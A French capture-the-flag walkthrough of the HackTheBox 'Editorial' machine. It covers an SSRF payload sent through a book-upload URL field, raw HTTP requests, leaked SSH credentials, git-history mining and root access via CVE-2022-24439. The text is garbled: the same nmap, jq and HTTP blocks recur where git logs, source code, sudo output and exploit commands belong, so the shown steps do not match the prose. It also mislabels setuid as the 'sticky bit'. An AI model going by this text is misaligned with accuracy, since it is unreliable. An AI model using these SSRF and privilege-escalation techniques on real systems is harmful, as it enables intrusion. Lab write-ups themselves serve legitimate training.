Dans cet article, nous explorerons une machine Linux simple appelée Editorial. Cette machine exploite les vulnérabilités et techniques d'exploitation suivantes :
Commençons par scanner notre cible pour rechercher des ports ouverts à l'aide de nmap :
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/boardlight] └─# nmap -sS --open -Pn 10.129.115.37 Starting Nmap 7.93 ( https://nmap.org ) at 2024-06-15 15:06 EDT Nmap scan report for 10.129.115.37 (10.129.115.37) Host is up (0.15s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http
Nous avons le port 22 exécutant SSH et le port 80 exécutant un serveur http.
En accédant au port 80 via IP, nous sommes redirigés vers editorial.htb, ajoutons cet hôte à notre /etc/hosts.
Grâce à cela, nous pouvons accéder au contenu suivant :
Le site Internet est un éditeur de livres. Parmi les options disponibles on retrouve la page suivante :
Ici, nous pouvons envoyer des livres à l'éditeur. L'envoi peut se faire de deux manières, en téléchargeant un fichier localement ou via une url.
Lors de l'envoi d'un fichier, nous sommes redirigés vers un point de terminaison similaire à celui-ci :
En analysant les deux options, nous avons trouvé un SSRF lors de la fourniture d'une URL locale, en envoyant l'URL suivante comme charge utile : http://127.0.0.1:5000
Avec cela nous téléchargeons le fichier et nous avons le contenu suivant au format json :
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/editorial] └─# jq . requests-result/0483497c-293d-44a4-87af-46a85f20cb60 { "messages": [ { "promotions": { "description": "Retrieve a list of all the promotions in our library.", "endpoint": "/api/latest/metadata/messages/promos", "methods": "GET" } }, { "coupons": { "description": "Retrieve the list of coupons to use in our library.", "endpoint": "/api/latest/metadata/messages/coupons", "methods": "GET" } }, { "new_authors": { "description": "Retrieve the welcome message sended to our new authors.", "endpoint": "/api/latest/metadata/messages/authors", "methods": "GET" } }, { "platform_use": { "description": "Retrieve examples of how to use the platform.", "endpoint": "/api/latest/metadata/messages/how_to_use_platform", "methods": "GET" } } ], "version": [ { "changelog": { "description": "Retrieve a list of all the versions and updates of the api.", "endpoint": "/api/latest/metadata/changelog", "methods": "GET" } }, { "latest": { "description": "Retrieve the last version of api.", "endpoint": "/api/latest/metadata", "methods": "GET" } } ] }
Ici, nous avons plusieurs points de terminaison que nous pouvons explorer, pour cela nous utiliserons la suite burp (qui s'exécute déjà en arrière-plan) pour faire de nouvelles requêtes.
Concentrons-nous dans un premier temps sur le endpoint /api/latest/metadata/messages/authors qui a la fonction suivante : Récupérer le message de bienvenue envoyé à nos nouveaux auteurs
POST /upload-cover HTTP/1.1 Host: editorial.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: multipart/form-data; boundary=---------------------------346249403126403154753644150452 Content-Length: 401 Origin: http://editorial.htb Connection: close Referer: http://editorial.htb/upload -----------------------------346249403126403154753644150452 Content-Disposition: form-data; name="bookurl" http://127.0.0.1:5000/api/latest/metadata/messages/authors -----------------------------346249403126403154753644150452 Content-Disposition: form-data; name="bookfile"; filename="" Content-Type: application/octet-stream -----------------------------346249403126403154753644150452--
Avec cela nous avons le retour suivant :
HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 22 Jun 2024 11:53:31 GMT Content-Type: text/html; charset=utf-8 Connection: close Content-Length: 51 static/uploads/413c49ad-8adb-4bbb-9579-8a13e870ff5f
Effectuons maintenant une requête get pour ce point de terminaison :
GET /static/uploads/413c49ad-8adb-4bbb-9579-8a13e870ff5f HTTP/1.1 Host: editorial.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: image/avif,image/webp,*/* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: close Referer: http://editorial.htb/upload
Et donc nous avons le retour suivant :
HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 22 Jun 2024 11:53:42 GMT Content-Type: application/octet-stream Content-Length: 506 Connection: close Content-Disposition: inline; filename=413c49ad-8adb-4bbb-9579-8a13e870ff5f Last-Modified: Sat, 22 Jun 2024 11:53:31 GMT Cache-Control: no-cache ETag: "1719057211.219647-506-4209449183" {"template_mail_message":"Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."}
Nous avons à nouveau un retour au format json. Nous avons ici un message de bienvenue pour les nouveaux auteurs ainsi qu'un nom d'utilisateur et un mot de passe :
Nom d'utilisateur : développeur
Mot de passe : dev080217_devAPI!@
Avec ce nom d'utilisateur et ce mot de passe nous pouvons accéder en ssh à notre cible :
┌──(root㉿kali)-[/home/kali] └─# ssh dev@editorial.htb The authenticity of host 'editorial.htb (10.129.101.138)' can't be established. ED25519 key fingerprint is SHA256:YR+ibhVYSWNLe4xyiPA0g45F4p1pNAcQ7+xupfIR70Q. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'editorial.htb' (ED25519) to the list of known hosts. dev@editorial.htb's password: Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-112-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro System information as of Sat Jun 22 11:54:05 AM UTC 2024 System load: 0.0 Usage of /: 60.4% of 6.35GB Memory usage: 12% Swap usage: 0% Processes: 225 Users logged in: 0 IPv4 address for eth0: 10.129.101.138 IPv6 address for eth0: dead:beef::250:56ff:feb0:6c4b Expanded Security Maintenance for Applications is not enabled. 0 updates can be applied immediately. Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status The list of available updates is more than a week old. To check for new updates run: sudo apt update Last login: Mon Jun 10 09:11:03 2024 from 10.10.14.52 dev@editorial:~$
Et avec cet utilisateur, nous avons obtenu le drapeau d'utilisateur !
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/boardlight] └─# nmap -sS --open -Pn 10.129.115.37 Starting Nmap 7.93 ( https://nmap.org ) at 2024-06-15 15:06 EDT Nmap scan report for 10.129.115.37 (10.129.115.37) Host is up (0.15s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http
Dans le répertoire personnel de l'utilisateur dev nous avons un répertoire appelé apps. En accédant à ce répertoire, nous avons le contenu suivant :
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/editorial] └─# jq . requests-result/0483497c-293d-44a4-87af-46a85f20cb60 { "messages": [ { "promotions": { "description": "Retrieve a list of all the promotions in our library.", "endpoint": "/api/latest/metadata/messages/promos", "methods": "GET" } }, { "coupons": { "description": "Retrieve the list of coupons to use in our library.", "endpoint": "/api/latest/metadata/messages/coupons", "methods": "GET" } }, { "new_authors": { "description": "Retrieve the welcome message sended to our new authors.", "endpoint": "/api/latest/metadata/messages/authors", "methods": "GET" } }, { "platform_use": { "description": "Retrieve examples of how to use the platform.", "endpoint": "/api/latest/metadata/messages/how_to_use_platform", "methods": "GET" } } ], "version": [ { "changelog": { "description": "Retrieve a list of all the versions and updates of the api.", "endpoint": "/api/latest/metadata/changelog", "methods": "GET" } }, { "latest": { "description": "Retrieve the last version of api.", "endpoint": "/api/latest/metadata", "methods": "GET" } } ] }
Il n'y a qu'un seul répertoire appelé .git. Le répertoire .git enregistre toutes les modifications apportées à un projet, enregistrant ainsi l'historique complet du projet.
Avec cela, nous pouvons voir l'historique des commits :
POST /upload-cover HTTP/1.1 Host: editorial.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: multipart/form-data; boundary=---------------------------346249403126403154753644150452 Content-Length: 401 Origin: http://editorial.htb Connection: close Referer: http://editorial.htb/upload -----------------------------346249403126403154753644150452 Content-Disposition: form-data; name="bookurl" http://127.0.0.1:5000/api/latest/metadata/messages/authors -----------------------------346249403126403154753644150452 Content-Disposition: form-data; name="bookfile"; filename="" Content-Type: application/octet-stream -----------------------------346249403126403154753644150452--
Parmi les commits, il y a les suivants :
HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 22 Jun 2024 11:53:31 GMT Content-Type: text/html; charset=utf-8 Connection: close Content-Length: 51 static/uploads/413c49ad-8adb-4bbb-9579-8a13e870ff5f
Les données de la production au développement ont été rétrogradées, nous pouvons trouver ici des informations importantes.
Pour afficher le contenu de ce commit, nous utiliserons la commande git revert, qui annulera les modifications et renverra le projet à ce commit :
GET /static/uploads/413c49ad-8adb-4bbb-9579-8a13e870ff5f HTTP/1.1 Host: editorial.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: image/avif,image/webp,*/* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: close Referer: http://editorial.htb/upload
Nous avons un fichier appelé app.py, regardons son contenu :
HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 22 Jun 2024 11:53:42 GMT Content-Type: application/octet-stream Content-Length: 506 Connection: close Content-Disposition: inline; filename=413c49ad-8adb-4bbb-9579-8a13e870ff5f Last-Modified: Sat, 22 Jun 2024 11:53:31 GMT Cache-Control: no-cache ETag: "1719057211.219647-506-4209449183" {"template_mail_message":"Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."}
Ici, nous avons des points de terminaison similaires à ceux que nous avons trouvés initialement via SSRF. La différence est que les données d'accès appartiennent à un autre utilisateur :
Nom d'utilisateur :prod
Mot de passe : 080217_Producti0n_2023!@
En regardant les utilisateurs que nous avons dans notre cible et qui ont un shell actif, nous avons les utilisateurs suivants :
┌──(root㉿kali)-[/home/kali] └─# ssh dev@editorial.htb The authenticity of host 'editorial.htb (10.129.101.138)' can't be established. ED25519 key fingerprint is SHA256:YR+ibhVYSWNLe4xyiPA0g45F4p1pNAcQ7+xupfIR70Q. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'editorial.htb' (ED25519) to the list of known hosts. dev@editorial.htb's password: Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-112-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro System information as of Sat Jun 22 11:54:05 AM UTC 2024 System load: 0.0 Usage of /: 60.4% of 6.35GB Memory usage: 12% Swap usage: 0% Processes: 225 Users logged in: 0 IPv4 address for eth0: 10.129.101.138 IPv6 address for eth0: dead:beef::250:56ff:feb0:6c4b Expanded Security Maintenance for Applications is not enabled. 0 updates can be applied immediately. Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status The list of available updates is more than a week old. To check for new updates run: sudo apt update Last login: Mon Jun 10 09:11:03 2024 from 10.10.14.52 dev@editorial:~$
Il y a un utilisateur appelé prod. Nous pouvons utiliser ce nouveau mot de passe pour utiliser cet utilisateur :
dev@editorial:~$ ls -a . .. apps .bash_history .bash_logout .bashrc .cache .profile user.txt dev@editorial:~$ cat user.txt 389072ccb7be77e63a1590defe01750e
Avec le nouvel utilisateur, nous pouvons voir que nous pouvons exécuter un script python avec sudo, qui nous accorde les autorisations root :
dev@editorial:~/apps$ ls -alh total 12K drwxrwxr-x 3 dev dev 4.0K Jun 5 14:36 . drwxr-x--- 4 dev dev 4.0K Jun 5 14:36 .. drwxr-xr-x 8 dev dev 4.0K Jun 5 14:36 .git
La commande consiste à exécuter un script python qui accepte n'importe quel paramètre, grâce à l'astérisque *.
Nous pouvons prévisualiser le contenu du script pour voir ce que nous avons pu exécuter :
dev@editorial:~/apps$ git log commit 8ad0f3187e2bda88bba85074635ea942974587e8 (HEAD -> master) Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb> Date: Sun Apr 30 21:04:21 2023 -0500 fix: bugfix in api port endpoint commit dfef9f20e57d730b7d71967582035925d57ad883 Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb> Date: Sun Apr 30 21:01:11 2023 -0500 change: remove debug and update api port commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb> Date: Sun Apr 30 20:55:08 2023 -0500 change(api): downgrading prod to dev * To use development environment. commit 1e84a036b2f33c59e2390730699a488c65643d28 Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb> Date: Sun Apr 30 20:51:10 2023 -0500 feat: create api to editorial info * It (will) contains internal info about the editorial, this enable faster access to information. commit 3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8 Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb> Date: Sun Apr 30 20:48:43 2023 -0500 feat: create editorial app * This contains the base of this project. * Also we add a feature to enable to external authors send us their books and validate a future post in our editorial.
Nous n'avons pas les autorisations pour modifier le fichier, seulement pour l'exécuter. Le script utilise les bibliothèques Python os et sys, ce qui vous permet d'effectuer des actions sous Linux.
Le script accepte un paramètre, pour cela la lib Python sys est utilisée.
Un changement de répertoire est effectué vers /opt/internal_apps/clone_changes à l'aide de la fonction chdir de la lib python os.
Maintenant, en utilisant une autre bibliothèque python appelée git, un git init est créé, qui initialise un référentiel.
Le paramètre accepté par le script doit être un référentiel, afin qu'un clone git puisse être créé en utilisant cette même lib git.
Nous pouvons rechercher des vulnérabilités dans cette lib, pour cela nous devrons obtenir la version via pip, qui est un gestionnaire de paquets python :
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/boardlight] └─# nmap -sS --open -Pn 10.129.115.37 Starting Nmap 7.93 ( https://nmap.org ) at 2024-06-15 15:06 EDT Nmap scan report for 10.129.115.37 (10.129.115.37) Host is up (0.15s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http
En recherchant des vulnérabilités, nous avons trouvé CVE-2022-24439, qui est une exécution de code à distance en raison d'une validation inadéquate de la saisie de l'utilisateur.
Cette vulnérabilité a été signalée par Snyk, qui a également mis à disposition un PoC.
Nous pouvons modifier le poc pour lire les fichiers en tant que root ou élever notre accès à root.
Pour lire les fichiers, nous pouvons exécuter la commande suivante :
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/editorial] └─# jq . requests-result/0483497c-293d-44a4-87af-46a85f20cb60 { "messages": [ { "promotions": { "description": "Retrieve a list of all the promotions in our library.", "endpoint": "/api/latest/metadata/messages/promos", "methods": "GET" } }, { "coupons": { "description": "Retrieve the list of coupons to use in our library.", "endpoint": "/api/latest/metadata/messages/coupons", "methods": "GET" } }, { "new_authors": { "description": "Retrieve the welcome message sended to our new authors.", "endpoint": "/api/latest/metadata/messages/authors", "methods": "GET" } }, { "platform_use": { "description": "Retrieve examples of how to use the platform.", "endpoint": "/api/latest/metadata/messages/how_to_use_platform", "methods": "GET" } } ], "version": [ { "changelog": { "description": "Retrieve a list of all the versions and updates of the api.", "endpoint": "/api/latest/metadata/changelog", "methods": "GET" } }, { "latest": { "description": "Retrieve the last version of api.", "endpoint": "/api/latest/metadata", "methods": "GET" } } ] }
Et ainsi nous pouvons lire le drapeau racine.
On peut aussi ajouter le sticky bit dans le fichier /bin/bash, de cette façon on peut obtenir un shell en tant que root. Le sticky bit permet à d'autres utilisateurs d'utiliser le fichier ou le binaire avec les autorisations du propriétaire du fichier, dans ce cas l'utilisateur root. En ajoutant à /bin/bash, nous obtenons un shell en tant que root :
POST /upload-cover HTTP/1.1 Host: editorial.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: multipart/form-data; boundary=---------------------------346249403126403154753644150452 Content-Length: 401 Origin: http://editorial.htb Connection: close Referer: http://editorial.htb/upload -----------------------------346249403126403154753644150452 Content-Disposition: form-data; name="bookurl" http://127.0.0.1:5000/api/latest/metadata/messages/authors -----------------------------346249403126403154753644150452 Content-Disposition: form-data; name="bookfile"; filename="" Content-Type: application/octet-stream -----------------------------346249403126403154753644150452--
Et voilà on termine la machine éditoriale !
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!